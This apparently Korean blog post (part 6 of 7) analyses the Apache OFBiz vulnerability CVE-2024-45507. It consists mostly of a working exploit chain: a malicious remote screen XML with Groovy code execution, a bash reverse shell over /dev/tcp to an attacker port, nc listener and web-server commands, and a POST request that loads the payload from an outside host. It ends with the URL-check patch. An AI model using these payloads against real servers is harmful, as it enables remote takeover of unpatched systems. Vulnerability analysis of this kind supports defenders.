Apache OFBiz 1-Day 취약점 살펴보기: CVE-2024-45507 (6/7)

<request-map uri="StatsSinceStart"> <security https="true" auth="true"/> <response name="success" type="view" value="StatsSinceStart"/> </request-map> <!-- 생략 --> <view-map name="StatsSinceStart" type="screen" page="component://webtools/widget/StatsScreens.xml#StatsSinceStart"/>

<screen name="StatsSinceStart"> <section> <actions> <set field="titleProperty" value="WebtoolsStatsMainPageTitle"/> <set field="tabButtonItem" value="stats"/> <script location="component://webtools/groovyScripts/stats/StatsSinceStart.groovy"/> </actions> <widgets> <decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}"> <decorator-section name="body"> <section> <widgets> <container style="page-title"> <label text="${uiLabelMap[titleProperty]}"/> </container> <include-menu name="StatsSinceStart" location="component://webtools/widget/Menus.xml"/> <label>${uiLabelMap.WebtoolsStatsCurrentTime} ${nowTimestamp}</label> <screenlet title="${uiLabelMap.WebtoolsStatsRequestStats}" padded="false"> <include-grid name="ListRequestStats" location="component://webtools/widget/StatsForms.xml"/> </screenlet> <screenlet title="${uiLabelMap.WebtoolsStatsEventStats}" padded="false"> <include-grid name="ListEventStats" location="component://webtools/widget/StatsForms.xml"/> </screenlet> <screenlet title="${uiLabelMap.WebtoolsStatsViewStats}" padded="false"> <include-grid name="ListViewStats" location="component://webtools/widget/StatsForms.xml"/> </screenlet> </widgets> </section> </decorator-section> </decorator-screen> </widgets> </section> </screen>

public static void renderReferencedScreen(String name, String location, ModelScreenWidget parentWidget, Appendable writer, Map<String, Object> context, ScreenStringRenderer screenStringRenderer) throws GeneralException { // check to see if the name is a composite name separated by a #, if so split it up and get it by the full loc#name if (ScreenFactory.isCombinedName(name)) { String combinedName = name; location = ScreenFactory.getResourceNameFromCombined(combinedName); name = ScreenFactory.getScreenNameFromCombined(combinedName); } ModelScreen modelScreen = null; if (UtilValidate.isNotEmpty(location)) { try { modelScreen = ScreenFactory.getScreenFromLocation(location, name); } catch (IOException | SAXException | ParserConfigurationException e) { String errMsg = "Error rendering included screen named [" + name + "] at location [" + location + "]: " + e.toString(); Debug.logError(e, errMsg, module); throw new RuntimeException(errMsg); } } else { modelScreen = parentWidget.getModelScreen().getModelScreenMap().get(name); if (modelScreen == null) { throw new IllegalArgumentException("Could not find screen with name [" + name + "] in the same file as the screen with name [" + parentWidget.getModelScreen().getName() + "]"); } } modelScreen.renderScreenString(writer, context, screenStringRenderer); }

<?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen" http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set field="headerItem" value="${groovy:throw new Exception('ls -al'.execute().text);}"/> <entity-one entity-name="FinAccount" value-field="finAccount"/> </actions> </section> </screen> </screens>

<?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set field="headerItem" value="${groovy: r = Runtime.getRuntime(); p = r.exec(['/bin/bash','-c','exec 5&lt;&gt;/dev/tcp/<리버스 쉘 주소>/9999;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done'] as String[]); p.waitFor(); }"/> <entity-one entity-name="FinAccount" value-field="finAccount"/> </actions> </section> </screen> </screens>

python -m http.server 80

nc -lvp 9999

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: localhost:8443 Cookie: JSESSIONID=<인증된 사용자의 JSESSIONID 값>; Content-Type: application/x-www-form-urlencoded Content-Length: 58 statsDecoratorLocation=http://server.dottak.me:80/test.xml

public static boolean urlInString(String s) { if (isEmpty(s) || s.contains("component://")) { return false; } return s.indexOf("://") != -1; }